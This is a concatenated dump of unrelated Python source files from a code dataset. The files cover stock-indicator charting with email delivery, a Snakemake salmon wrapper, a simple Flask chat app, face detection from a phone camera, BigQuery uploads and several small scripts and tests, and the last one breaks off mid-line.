indicated_list ###\n\tindicated_list = []\n\n\tprint(\"getting dataframes\")\n\t### Dataframes for all the stocks\n\tstock_ema = calc_ema(26, sclose)\n\tstock_keltner_upper = calc_keltner_high(26, sclose, shigh, slow)\n\tstock_keltner_lower = calc_keltner_low(26, sclose, shigh, slow)\n\tstock_cci = calc_cci(20, sclose, shigh, slow)\n\tstock_rsi = calc_rsi(14, sclose)\n\n\t### Conditions need to satisfy\n\tclose = sclose.copy()\n\trows = len(sclose.index)\n\tfor symbol in close.columns.values:\n\t\tlast = len(close[symbol]) - 1\n\t\tif (close[symbol][last] < stock_keltner_lower[symbol][last]) and \\\n\t\t\t(stock_rsi[symbol][last] < 30) and \\\n\t\t\t(stock_cci[symbol][last] < -100):\n\t\t\tindicated_list.append(symbol)\n\t### --------------------- ###\n\n\n\t## Need main graph then 2 subplots\n\tfile_list = []\n\n\t### Adding elements to the lists\n\tfor symbol in indicated_list:\n\t\t### Resets lists for each different stock\n\t\tstockData_ema = []\n\t\tstockData_close = []\n\t\tstockData_kupper = []\n\t\tstockData_klower = []\n\t\tstockData_cci = []\n\t\tstockData_rsi = []\n\n\t\t### Obtaining individual data\n\t\tfor i in range(25, rows):\n\t\t\tstockData_ema.append(stock_ema[symbol][i])\n\t\t\tstockData_close.append(sclose[symbol][i])\n\t\t\tstockData_kupper.append(stock_keltner_upper[symbol][i])\n\t\t\tstockData_klower.append(stock_keltner_lower[symbol][i])\n\t\t\tstockData_cci.append(stock_cci[symbol][i]) \n\t\t\tstockData_rsi.append(stock_rsi[symbol][i])\n\n    \t# Data for date\n\t\tdate = dateData_final[25:]\n\n\t\t## Setting up graph format (using grid)\n\t\tplt.figure(0)\n\t\tplt.figure(figsize=(13, 6))\n\t\tax1 = plt.subplot2grid((20,20), (0,0), colspan=12, rowspan=20)                            \n\t\tax2 = plt.subplot2grid((20,20), (0,13), colspan=7, rowspan=9)\n\t\tax3 = plt.subplot2grid((20,20), (11,13), colspan=7, rowspan=9)\n\t\t    \n\t\t### Graph Main Data\n\t\tax1.plot(date, stockData_ema)\n\t\tax1.plot(date, stockData_close)\n\t\tax1.plot(date, stockData_kupper)\n\t\tax1.plot(date, stockData_klower)\n\n\t\t### Graph RSI Data\n\t\trsi1 = [70] * len(date)\n\t\trsi2 = [30] * len(date)\n\t\tax2.plot(date, rsi1)\n\t\tax2.plot(date, rsi2)\n\t\tax2.plot(date, stockData_rsi)\n\n\t\t### Graph CCI Data\n\t\tcci1 = [100] * len(date)\n\t\tcci2 = [-100] * len(date)\n\t\tax3.plot(date, cci1)\n\t\tax3.plot(date, cci2)\n\t\tax3.plot(date, stockData_cci)\n\n\t\t### Format Graph x-axis as Months\n\t\tmonths = mdates.MonthLocator() \n\t\tax1.xaxis.set_major_locator(months)\n\t\t    ## for months format '%m' will give numerical month\n\t\tmonthsFmt = mdates.DateFormatter('%b')\n\t\tax1.xaxis.set_major_formatter(monthsFmt)\n\n\t\tax2.xaxis.set_major_locator(months)\n\t\tax2.xaxis.set_major_formatter(monthsFmt)\n\n\t\tax3.xaxis.set_major_locator(months)\n\t\tax3.xaxis.set_major_formatter(monthsFmt)\n\n\t\t### Change Line Color\n\t\tax1.get_lines()[0].set_color(\"red\")\n\t\tax1.get_lines()[1].set_color(\"black\")\n\t\tax1.get_lines()[2].set_color(\"green\")\n\t\tax1.get_lines()[3].set_color(\"green\")\n\n\t\tax2.get_lines()[0].set_color(\"dimgray\")\n\t\tax2.get_lines()[1].set_color(\"dimgray\")\n\n\t\tax3.get_lines()[0].set_color(\"dimgray\")\n\t\tax3.get_lines()[1].set_color(\"dimgray\")\n\n\t\t### Set Margins to 0.01\n\t\tax1.margins(x=0.01)\n\t\tax2.margins(x=0.01)\n\t\tax3.margins(x=0.01)\n\n\t\t### Set Labels\n\t\tax1.set(title=symbol)\n\t\tax2.set(title='RSI')\n\t\tax3.set(title='CCI')\n\t\tax1.legend([\"EMA(26)\", \"CLOSE\", \"KELT(26, 3, 26)\"], loc=\"upper left\")\n\n\t\t### Change limits to y-axis\n\t\tax2.set_ylim(0, 100)\n\t\tax3.set_ylim(-400, 400)\n\n\t\t### Save Graph\n\t\tfilename = cDate + \" \" + symbol + \".png\"\n\t\tplt.savefig(filename)\n\t\tfile_list.append(filename)\n\t\tplt.close()\n\t\t\n\treturn file_list\n\ndef send_mail(to, subject, files):\n\t'''\n\tParameters:\n\n\tReturns:\n\t'''\n\t## Send using notesforstocks@gmail.com\n\t\t##User: notesforstocks@gmail.com\n\t\t##Pass: REDACTED\n\t## Call the graph function and send email with generated graphs\n\tassert type(to)==list\n\n\tCOMMASPACE = ', '\n\n\tmsg = MIMEMultipart()\n\tmsg['From'] = 'notesforstocks@gmail.com'\n\tmsg['To'] = COMMASPACE.join(to)\n\tmsg['Subject'] = subject\n\n\tmsg.attach( MIMEText(\"\") )\n\n\tfor f in files:\n\t\tpart = MIMEBase('application', \"octet-stream\")\n\t\tpart.set_payload( open(f,\"rb\").read() )\n\t\tencoders.encode_base64(part)\n\t\tpart.add_header('Content-Disposition', 'attachment; filename=\"%s\"'\n\t\t\t\t\t\t% os.path.basename(f))\n\t\tmsg.attach(part)\n\n\tserver = smtplib.SMTP('smtp.gmail.com:587')\n\tserver.ehlo_or_helo_if_needed()\n\tserver.starttls()\n\tserver.ehlo_or_helo_if_needed()\n\tserver.login('notesforstocks@gmail.com', 'REDACTED')\n\tserver.sendmail('notesforstocks@gmail.com', to, msg.as_string())\n\n\tprint(\"done\")\n\n\tserver.quit()\n\n\t# delete the files after being sent\n\tfiles_to_delete = glob.glob(formatted_date + \"*\")\n\tfor f in files_to_delete:\n\t\tos.remove(f)\n\n\n### Functions to execute\ndef execute():\n\t'''\n\tParameters: None\n\t'''\n\n\tprint(\"starting the job\")\n\tsp500 = pd.DataFrame.from_csv('sp500_copy.csv').index.tolist()\n\n\t### retrieving stock data from iex \n\tprint(\"retrieving stock data from iex\")\n\t# find assumed length for dataset using arbitrary old stock\n\tdata_length = len(web.DataReader('AAPL', 'iex', start, end))\n\n\t# this becomes a dictionary of dataframes\n\tstock_dict = {}\n\tfor stock in sp500:\n\t\ttry:\n\t\t\tdf = web.DataReader(stock, 'iex', start, end)\n\t\t\t# print(stock + \": \" + str(len(df)))\n\t\t\tif len(df) == data_length:\n\t\t\t\tstock_dict[stock] = df\n\t\texcept:\n\t\t\tprint(stock + \": was unable to be found using iex\")\n\n\t## Creating Separate Dataframes\n\tcloseDict = {}\n\thighDict = {}\n\tlowDict = {}\n\topenDict = {}\n\tvolumeDict = {}\n\tfor stock in stock_dict:\n\t\tcloseDict[stock] = stock_dict[stock][\"close\"]\n\t\thighDict[stock] = stock_dict[stock][\"high\"]\n\t\tlowDict[stock] = stock_dict[stock][\"low\"]\n\t\topenDict[stock] = stock_dict[stock][\"open\"]\n\t\tvolumeDict[stock] = stock_dict[stock][\"volume\"]\n\tsclose = pd.DataFrame.from_dict(closeDict)\n\tsclose = sclose.apply(lambda x:pd.Series(x.dropna().values))\n\tshigh = pd.DataFrame.from_dict(highDict)\n\tshigh = shigh.apply(lambda x:pd.Series(x.dropna().values))\n\tslow = pd.DataFrame.from_dict(lowDict)\n\tslow = slow.apply(lambda x:pd.Series(x.dropna().values))\n\tsopen = pd.DataFrame.from_dict(openDict)\n\tsopen = sopen.apply(lambda x:pd.Series(x.dropna().values))\n\tsvolume = pd.DataFrame.from_dict(volumeDict)\n\tsvolume = svolume.apply(lambda x:pd.Series(x.dropna().values))\n\n\t## Pulls the date data into dateframe\n\tfirst_key = list(df.keys())[0]\n\tdate_list = df[first_key].index\n\tdates = list(date_list)\n\tdateData_final = np.array(dates, dtype='datetime64')\n\n\t### Generate the list of graph files to send\n\tfiles_tosend = create_graphs(sclose, shigh, slow, dateData_final, formatted_date)\n\n\t### Sending the email\n\tsend_mail(['notesforstocks@gmail.com'], formatted_date + ' Daily Stock Analysis', files_tosend)\n\tprint(\"email sent\")\n\n\n## ----------------------------------------------------------------------------\n## runs the program\nexecute() \n\n## schedules to run the program at 6:05 PM EST everyday\n#schedule.every().monday.at(\"18:05\").do(execute())\n#schedule.every().tuesday.at(\"18:05\").do(execute())\n#schedule.every().wednesday.at(\"18:05\").do(execute())\n#schedule.every().thursday.at(\"18:05\").do(execute())\n#schedule.every().friday.at(\"18:05\").do(execute())\n\n\n\n\n","sub_path":"stock_script_v5.py","file_name":"stock_script_v5.py","file_ext":"py","file_size_in_byte":20529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"588851311","text":"import os\nfrom snakemake.shell import shell\nextra = snakemake.params.get('extra', '')\nlog = snakemake.log_fmt_shell()\n\noutdir = [os.path.dirname(i) for i in snakemake.output]\n\nif len(set(outdir)) != 1:\n    raise ValueError(\"Inconsistent output directories: {0}\".format(set(outdir)))\n\noutdir = outdir[0]\nif outdir == '':\n    outdir = '.'\n\nif isinstance(snakemake.input.index, str):\n    index_dir = [os.path.dirname(snakemake.input.index)]\nelse:\n    index_dir = [os.path.dirname(i) for i in snakemake.input.index]\n\nif len(set(index_dir)) != 1:\n    raise ValueError(\"Inconsistent index directories: {0}\".format(set(index_dir)))\n\ncmd = (\n    \"salmon quant \"\n    \"--index {index_dir} \"\n    \"--output {outdir} \"\n    \"--threads {snakemake.threads} \"\n)\nif 'unmatedReads' in snakemake.input.keys():\n    cmd += '--unmatedReads {snakemake.input.unmatedReads} '\nelif 'mates2' in snakemake.input and 'mates1' in snakemake.input.keys():\n    cmd += '--mates1 {snakemake.input.mates1} --mates2 {snakemake.input.mates2} '\nelse:\n    raise ValueError(\n        \"Use input key 'unmatedReads' for single-end; 'mates1' and 'mates2' for \"\n        \"paired-end. Got: {}\".format(snakemake.input.keys())\n    )\n\ncmd += (\n    \"{extra} \"\n    \"{log} \".format(**locals())\n)\nshell(cmd)\n","sub_path":"wrappers/wrappers/salmon/quant/wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"120663337","text":"from waterbutler import settings\n\nconfig = settings.child('RUSHFILES_PROVIDER_CONFIG')\n\n# RushFiles installations have a request body size limit set to 153,600,000 B (150,000 KB),\n# and files need to be uploaded in chunks no larger than that.\n# Set to 140MB as default to play it safe.\nCHUNK_SIZE = config.get('CHUNK_SIZE', 140 * 1024 * 1024)  # 140MB\n\n# Device ID by which file events will be trackable in RushFiles\nDEVICE_ID = config.get('DEVICE_ID', 'waterbutler')\n","sub_path":"waterbutler/providers/rushfiles/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"111644566","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# @Time  : 2019/9/24 10:27\n# @Author: xk\n# @File  : CreateResumeBaseJson.py\n\nfrom dto.ResumeInfo import ResumeInfo\nimport json\n\n\nclass ResumeInfo:\n    resumeBaseInfo = {}\n\n\n# python json 和对象互转  参考 https://blog.csdn.net/tytok/article/details/83341930\ndef test01():\n    jsonStr = '{\"resumeBaseInfo\":{\"name\":\"zhangsan\",\"age\":18},\"resumeWorkExpInfo\":{\"work\":\"shangde\",\"city\":\"wuhan\"}}'\n\n    # 字符串转字典\n    strDict = json.loads(jsonStr)\n\n    # 实例化一个对象\n    resumeInfo = ResumeInfo()\n\n    # 将对象字典化用来接收json转后的字典\n    resumeInfo.__dict__ = strDict\n\n    print(resumeInfo.resumeBaseInfo)\n    print(type(resumeInfo.resumeBaseInfo))\n    print(resumeInfo.resumeBaseInfo['name'])\n\n\nif __name__ == '__main__':\n    test01()\n","sub_path":"utils/CreateResumeBaseJson.py","file_name":"CreateResumeBaseJson.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"606478394","text":"import json\n\nfrom flask import Flask, render_template, redirect, url_for, g, request, flash, session, abort\n\napp = Flask(__name__)\n\nPER_PAGE = 30\nDEBUG = True\nSECRET_KEY = 'development key'\n\napp.config.from_object(__name__)\napp.config.from_envvar('EVENTIFY_SETTINGS', silent=True)\n\nusers = {}\nchatRooms = {}\nchatMessages = {\"test\": [[\"solomon\", \"hello this is a message\"],\n                         [\"bob\", \"this is another message\"]]}\n\n\n@app.before_request\ndef before_request():\n    g.user = None\n    if 'username' in session:\n        g.user = session['username']\n\n\n@app.route('/')\ndef homepage():\n    return render_template('home.html')\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n    error = None\n    if request.method == 'POST':\n        if not request.form['username']:\n            error = 'You must enter a username'\n        elif not request.form['password']:\n            error = 'You muse enter a password'\n        elif request.form['passwordRepeat'] != request.form['password']:\n            error = 'Passwords do not match'\n        elif users.get(request.form['username']) is not None:\n            error = 'Username has been taken'\n        else:\n            users[request.form['username']] = request.form['password']\n            flash('You have been successfully registered for PingPong')\n            return redirect(url_for('login'))\n    return render_template('register.html', error=error)\n\n\ncurrUser = None\n\n\n@app.route('/login', methods=['POST', 'GET'])\ndef login():\n    global currUser\n    error = None\n    if request.method == 'POST':\n        if users.get(request.form['username']) != request.form['password']:\n            error = 'Invalid Login'\n        else:\n            flash('You have been logged in')\n            session['username'] = request.form['username']\n            currUser = request.form['username']\n            return redirect(url_for('messages'))\n    return render_template('login.html', error=error)\n\n\n@app.route('/messages')\ndef messages():\n    return render_template('chatRooms.html', rooms=chatRooms)\n\n\n@app.route('/create_chat_room', methods=['POST', 'GET'])\ndef create_chat_room():\n    if 'username' not in session:\n        abort(401)\n\n    error = None\n    if request.form['name'] in chatRooms:\n        error = \"Chat Room Already Exists\"\n    else:\n        # chat room name is stored along with user who created it\n        chatRooms[request.form['name']] = session['username']\n        flash('Chat room has been created')\n    return render_template('chatRooms.html', error=error, rooms=chatRooms)\n\n\nlastSession = None\n\n\n@app.route('/<r>/join_room')\ndef join_room(r):\n    global lastSession\n    if 'currRoom' in session:\n        print(session['currRoom'])\n        if session['currRoom'] is not None:\n            flash('You cannot join another room since you are currently in ' + session['currRoom'])\n            return redirect(url_for('messages'))\n\n    session['currRoom'] = r\n    lastSession = r\n    flash(\"You have joined \" + r)\n    authors = []\n    currentMessages = []\n    for room, message in chatMessages.items():\n        if room == r:\n            print(room + \" \" + str(message))\n            for author, m in message:\n                authors.append(author)\n                currentMessages.append(m)\n\n    return render_template('currentChat.html', r=r, a=authors, m=currentMessages)\n\n\n@app.route('/<r>/delete_room')\ndef delete_room(r):\n    flash(r + ' has been deleted')\n    del chatMessages[r]\n    return redirect(url_for('messages'))\n\n\n@app.route(\"/new_message\", methods=[\"POST\"])\ndef new_message():\n    if session['currRoom'] in chatMessages.keys():\n        chatMessages[session['currRoom']].append([session['username'], request.form['message']])\n    else:\n        chatMessages[session['currRoom']] = [[session['username'], request.form['message']]]\n    return \"OK!\"\n\n\n@app.route('/logout')\ndef logout():\n    global lastSession\n    global currUser\n    flash('You have been logged out')\n    session.pop('username', None)\n    session.pop('currRoom', None)\n    lastSession = None\n    currUser = None\n    return redirect(url_for('homepage'))\n\n\n@app.route('/<r>/leave')\ndef leave(r):\n    global lastSession\n    flash('You have left ' + r)\n    session.pop('currRoom', None)\n    lastSession = None\n    return redirect(url_for('messages'))\n\n\n@app.route('/messages_poll')\ndef get_messages():\n    global lastSession\n    print(json.dumps(chatMessages))\n    if len(json.dumps(chatMessages)) == 0:\n        flash('Room has been deleted')\n        session.pop('currRoom', None)\n        lastSession = None\n        return redirect(url_for('messages'))\n\n    return json.dumps(chatMessages)\n\n\nif __name__ == \"__main__\":\n    app.run()\n","sub_path":"CS-1520-Web-Applications/Project 3/chat.py","file_name":"chat.py","file_ext":"py","file_size_in_byte":4677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"536941274","text":"class Solution:\n    def fourSum(self, nums, target):\n        \"\"\"\n        :type nums: List[int]\n        :type target: int\n        :rtype: List[List[int]]\n        \"\"\"\n        def findNsum(nums, N, target, res, results):\n            if len(nums) < N or N < 2 or target < nums[0]*N or target > nums[-1]*N:  # early termination\n                return\n            if N == 2:\n                l, r = 0, len(nums)-1\n                while l < r:\n                    s = nums[l] + nums[r]\n                    if s == target:\n                        results.append(res + [nums[l], nums[r]])\n                        while l < len(nums)-1 and nums[l] == nums[l+1]:\n                            l += 1\n                        while r > 1 and nums[r] == nums[r-1]:\n                            r -= 1\n                        l += 1\n                        r -= 1\n                    elif s > target:\n                        r -= 1\n                    else:\n                        l += 1\n            else:\n                for i in range(len(nums)-N+1):\n                    if i >= 1 and nums[i] == nums[i-1]:\n                        continue\n                    findNsum(nums[i+1:], N-1, target-nums[i], res+[nums[i]], results)\n        results = []\n        nums.sort()\n        findNsum(nums, 4, target, [], results)\n        return results\n\n\n'''\n1，用递归的方式解决N的问题，\n2，写读代码，先弄好大框架，在抠细节\n3，res+[nums[i]],注意，增广的只能是list，因此必须有[]\n4，two pointers代码的核心部分\n'''","sub_path":"18NSum.py","file_name":"18NSum.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"226987167","text":"def main():\n    MyClassmates = []\n    \n    again = 'y'\n\n    while again == 'y':\n        name = input(\"What is your first name? \")\n        F_name = [name]\n        MyClassmates += F_name\n        print(\"Do you want ro add another name? \")\n        again = input(\"y = yes,otherwise = no \")\n        print()\n        \n    #print(\"Here are the names you entered. \")\n    #print(MyClassmates)\n    for name in MyClassmates:\n        print(name)\n\n        \nmain()\n","sub_path":"HW7-1-b_WeijiaCheng.py","file_name":"HW7-1-b_WeijiaCheng.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"649387528","text":"import cv2\nimport requests\nimport numpy as np\n\nface_detect = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\n\n\nwhile True:\n    \n    url = \"http://192.168.43.60:8080/shot.jpg\"\n    # url connect\n    geturl = requests.get(url)\n    # get photo access\n    photoweb = geturl.content\n    # convet byte to bytearray\n    photobyte = bytearray(photoweb)\n    # convert bytearray to 1d array\n    image = np.array(photobyte)\n    # convert 1d to 3d array\n    frame = cv2.imdecode(image,-1)\n    frame = cv2.resize(frame,(600,600))\n    faces = face_detect.detectMultiScale(frame)\n    \n    if faces is not ():\n        x = faces[0][0]\n        y = faces[0][1]\n        w = faces[0][2]\n        h = faces[0][3]\n        \n        photo = cv2.rectangle(frame ,(x,y),(x+w,y+h),(0,0,255),4)\n        photo = photo[y-20:y+h+20 , x-20:x+w+20]\n        photo1 = cv2.resize(photo,(200,200))\n    \n    \n    cv2.imshow(\"myCam\",frame)\n    if cv2.waitKey(1) == 13:\n        break\ncv2.imwrite(\"found.jpg\",photo1)\ncv2.destroyAllWindows()\n","sub_path":"mob_face_detect.py","file_name":"mob_face_detect.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"470048960","text":"# encoding: UTF-8\n\nfrom data.cn_to_ctn import cn_to_ctn\nimport numpy as np\nimport pandas as pd\nfrom pandas_summary import DataFrameSummary\n\n\ndef read_income_data(dummies=False):\n    # Load the file\n    df = pd.read_csv(\"data/adult-census-income.zip\", header=0)\n\n    df = convert_target_to_float(df)\n    df = convert_sex_to_float(df)\n    df = add_continent_info(df)\n    df = add_is_single_info(df)\n    df = merge_capital_columns(df)\n    df = delete_useless_columns(df)\n    df = set_null_values(df)\n\n    if dummies:\n        df = pd.get_dummies(df)\n\n    return df\n\n\ndef convert_target_to_float(df):\n    df.loc[df.income == \"<=50K\", \"income\"] = 0.0\n    df.loc[df.income == \">50K\", \"income\"] = 1.0\n    df.income = df.income.astype(float)\n    return df\n\n\ndef convert_sex_to_float(df):\n    df.loc[df.sex == \"Male\", \"sex\"] = 0.0\n    df.loc[df.sex == \"Female\", \"sex\"] = 1.0\n    df.sex = df.sex.astype(float)\n    return df\n\n\ndef add_continent_info(df):\n    df['native.continent'] = df['native.country'].apply(lambda x: cn_to_ctn.get(x))\n    return df\n\n\ndef add_is_single_info(df):\n    df['is_single'] = 1\n    av_spouse_bool = df['marital.status'] == 'Married-AF-spouse'\n    civ_spouse_bool = df['marital.status'] == 'Married-civ-spouse'\n    df.loc[av_spouse_bool | civ_spouse_bool, 'is_single'] = 0\n    return df\n\n\ndef merge_capital_columns(df):\n    df['capital'] = df['capital.gain'] - df['capital.loss']\n    df['capital.log'] = np.log2(df['capital.gain'] + 1) - np.log2(df['capital.loss'] + 1)\n    df['capital.log.round'] = np.round(df['capital.log'])\n    return df\n\n\ndef delete_useless_columns(df):\n    df.pop(\"education\")\n    df.pop('capital.gain')\n    df.pop('capital.loss')\n    return df\n\n\ndef set_null_values(df):\n    df = df[-df.isin([\"?\"])]\n    return df\n\n\ndef get_summary(df):\n    return DataFrameSummary(df)\n","sub_path":"prediction/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"130258721","text":"# coding: utf-8\nfrom django.contrib import admin\n\nfrom econordeste.event.models import Calendar\n\n\nclass CalendarAdmin(admin.ModelAdmin):\n    list_filter = ('date_start', 'date_end', 'created_by__username')\n    list_display = ('title', 'date_start', 'date_end')\n    search_fields = ('title', 'date_start', 'date_end', 'body')\n    prepopulated_fields = {'slug': ('title',)}\n    date_hierarchy = 'date_start'\n\n\nadmin.site.register(Calendar, CalendarAdmin)\n","sub_path":"econordeste/event/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"631326786","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.io import FortranFile\nimport os\nimport time\nimport glob\n\nstart_time = time.time()\n\nfile_number = len(glob.glob('run1/relax_*' + 'p'))\nprint(file_number)\n\noutput_dir = 'Figures/Video/image_plot_xy'\n\nnx = 128\nny = 128\nnz = 128\ndx = np.float64(6 / nx)\ndy = np.float64(6 / ny)\ndz = np.float64(6 / nz)\n\nfig = plt.figure()\nfig_size = fig.get_size_inches()\nfig_size[0] = fig_size[0] * 3\nfig_size[1] = fig_size[1] * 3\nfig.set_size_inches(fig_size)\n\nix_list = [32, 64, 96]\niy_list = [32, 64, 96]\nvar_list = [\"aax\", \"aay\", \"aaz\", \"diva\"]\niz_list = [0, 1, 2, 3, nz//4, nz //2, 3*nz//4, -1, -2]\nfor var in var_list:\n    os.makedirs(output_dir + '/' + var, exist_ok = True)\n\nfor n in range(0, file_number, 10):\n\n    print(n)\n\n    filename = 'run1/relax_' + '{:05d}'.format(n) + 'p'\n    file = FortranFile(filename, 'r')\n    opt = file.read_ints('int32')\n    aax = file.read_reals('float64').reshape((nz + 1, ny + 1, nx), order = \"C\")\n    aay = file.read_reals('float64').reshape((nz + 1, ny, nx + 1), order = \"C\")\n    aaz = file.read_reals('float64').reshape((nz, ny + 1, nx + 1), order = \"C\")\n\n    diva = (aax[1:-1, 1:-1, 1:] - aax[1:-1, 1:-1, :-1]) / dx \\\n         + (aay[1:-1, 1:, 1:-1] - aay[1:-1, :-1, 1:-1]) / dy \\\n         + (aaz[1:, 1:-1, 1:-1] - aaz[:-1, 1:-1, 1:-1]) / dz\n\n    aa = {\"aax\" : aax, \\\n          \"aay\" : aay, \\\n          \"aaz\" : aaz, \\\n          \"diva\" : diva}\n\n    for var in var_list:\n        for k in range(9):\n            ax = fig.add_subplot(3, 3, k + 1)\n            im = ax.imshow(aa[var][iz_list[k], :, :], origin='lower')\n            cb = fig.colorbar(im)\n            ax.set_title(var + ', iz = ' + str(iz_list[k]))\n        fig.savefig(output_dir + '/' + var + '/' + '{:05d}'.format(n) + '.png',  bbox_inches='tight')\n        fig.clf()\nprint(\"--- %s seconds ---\" % (time.time() - start_time))\n","sub_path":"hexaRelax_A/Python/image_plot_xy.py","file_name":"image_plot_xy.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"580544211","text":"# Create a table and loading data from a local file\nimport os\nfrom datetime import datetime\nfrom google.cloud import bigquery\n\n# Set environment variable to authenticate using service account\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = '/Users/gkaberere/Google Drive/Github/gkLocalAppsServiceAccount.json'\n\nclient = bigquery.Client()\nfileName = '/Users/gkaberere/spark-warehouse/Forecasts/desktopInstallsForecast.csv'\ndatasetID = 'desktop'\ntableSuffix = '20190227'\ntableID = f'desktop_installs_forecast_{tableSuffix}'\n\n\ndatasetRef = client.dataset(datasetID) # create a dataset reference using a chosen dataset ID\ntable_ref = datasetRef.table(tableID) # create a table reference using a chosen table ID\nload_job_config = bigquery.LoadJobConfig() # load job call\nload_job_config.source_format = bigquery.SourceFormat.CSV\nload_job_config.schema = [\n    bigquery.SchemaField('date', 'DATE'),\n    bigquery.SchemaField('forecastFlag', 'STRING'),\n    bigquery.SchemaField('installs', 'INTEGER')\n\n]\nload_job_config.skip_leading_rows = 1\nload_job_config.max_bad_records = 0 # number of bad records allowed before job fails\n\nwith open(fileName, 'rb') as source_file:\n    job = client.load_table_from_file(\n        source_file,\n        table_ref,\n        location='US',  # Must match the destination dataset location.\n        job_config=load_job_config)  # API request\n\njob.result()  # Waits for table load to complete.\n\nprint('Loaded {} rows into {}:{}.'.format(job.output_rows, datasetID, tableID))\n\n","sub_path":"bqQueries/desktopGrowth/reporting/bqUpload.py","file_name":"bqUpload.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"577278926","text":"#!/usr/bin/env python\n\n#python 3 compatibility\nfrom __future__ import print_function\n\n#stdlib imports\nfrom xml.dom import minidom\nfrom datetime import datetime\nfrom collections import OrderedDict\nimport re\nimport sys\nimport tempfile\nimport time\nimport shutil\n\nif sys.version_info.major == 2:\n    import StringIO\nelse:\n    from io import StringIO\nimport os.path\n\n#hack the path so that I can debug these functions if I need to\nhomedir = os.path.dirname(os.path.abspath(__file__)) #where is this script?\nmapiodir = os.path.abspath(os.path.join(homedir,'..'))\nsys.path.insert(0,mapiodir) #put this at the front of the system path, ignoring any installed mapio stuff\n\n#third party\nfrom mapio.shake import ShakeGrid\nfrom mapio.gridbase import Grid\nfrom mapio.multiple import MultiGrid\nfrom mapio.dataset import DataSetException\nfrom mapio.grid2d import Grid2D\nfrom mapio.geodict import GeoDict\nimport numpy as np\n\ndef test_modify():\n    print('Testing ShakeGrid interpolate() method...')\n    geodict = GeoDict({'xmin':0.5,'xmax':6.5,'ymin':1.5,'ymax':6.5,'dx':1.0,'dy':1.0,'ny':6,'nx':7})\n    data = np.arange(14,56).reshape(6,7)\n    layers = OrderedDict()\n    layers['pga'] = data\n    shakeDict = {'event_id':'usabcd1234',\n                 'shakemap_id':'usabcd1234',\n                 'shakemap_version':1,\n                 'code_version':'4.0',\n                 'process_timestamp':datetime.utcnow(),\n                 'shakemap_originator':'us',\n                 'map_status':'RELEASED',\n                 'shakemap_event_type':'ACTUAL'}\n    eventDict = {'event_id':'usabcd1234',\n                 'magnitude':7.6,\n                 'depth':1.4,\n                 'lat':2.0,\n                 'lon':2.0,\n                 'event_timestamp':datetime.utcnow(),\n                 'event_network':'us',\n                 'event_description':'sample event'}\n    uncDict = {'pga':(0.0,0)}\n    shake = ShakeGrid(layers,geodict,eventDict,shakeDict,uncDict)\n    rdata = np.random.rand(data.shape[0],data.shape[1])\n    shake.setLayer('pga',rdata)\n    newdata = shake.getLayer('pga').getData()\n    np.testing.assert_almost_equal(rdata,newdata)\n\ndef test_interpolate():\n    print('Testing ShakeGrid interpolate() method...')\n    geodict = GeoDict({'xmin':0.5,'xmax':6.5,'ymin':1.5,'ymax':6.5,'dx':1.0,'dy':1.0,'ny':6,'nx':7})\n    data = np.arange(14,56).reshape(6,7)\n    layers = OrderedDict()\n    layers['pga'] = data\n    shakeDict = {'event_id':'usabcd1234',\n                 'shakemap_id':'usabcd1234',\n                 'shakemap_version':1,\n                 'code_version':'4.0',\n                 'process_timestamp':datetime.utcnow(),\n                 'shakemap_originator':'us',\n                 'map_status':'RELEASED',\n                 'shakemap_event_type':'ACTUAL'}\n    eventDict = {'event_id':'usabcd1234',\n                 'magnitude':7.6,\n                 'depth':1.4,\n                 'lat':2.0,\n                 'lon':2.0,\n                 'event_timestamp':datetime.utcnow(),\n                 'event_network':'us',\n                 'event_description':'sample event'}\n    uncDict = {'pga':(0.0,0)}\n    shake = ShakeGrid(layers,geodict,eventDict,shakeDict,uncDict)\n    sampledict = GeoDict({'xmin':3.0,'xmax':4.0,\n                          'ymin':3.0,'ymax':4.0,\n                          'dx':1.0,'dy':1.0,\n                          'ny':2,'nx':2})\n    shake2 = shake.interpolateToGrid(sampledict,method='linear')\n    output = np.array([[34.,35.],[41.,42.]])\n    np.testing.assert_almost_equal(output,shake2.getLayer('pga').getData())\n    print('Passed test of ShakeGrid interpolate() method.')\n\ndef test_read():\n    xmlfile = os.path.join(homedir,'data','northridge.xml')\n    tdir = tempfile.mkdtemp()\n    testfile = os.path.join(tdir,'test.xml')\n    try:\n        shakegrid = ShakeGrid.load(xmlfile,adjust='res')\n        t1 = time.time()\n        shakegrid.save(testfile)\n        t2 = time.time()\n        print('Saving shakemap took %.2f seconds' % (t2-t1))\n    except Exception as error:\n        print('Failed to read grid.xml format file \"%s\". Error \"%s\".' 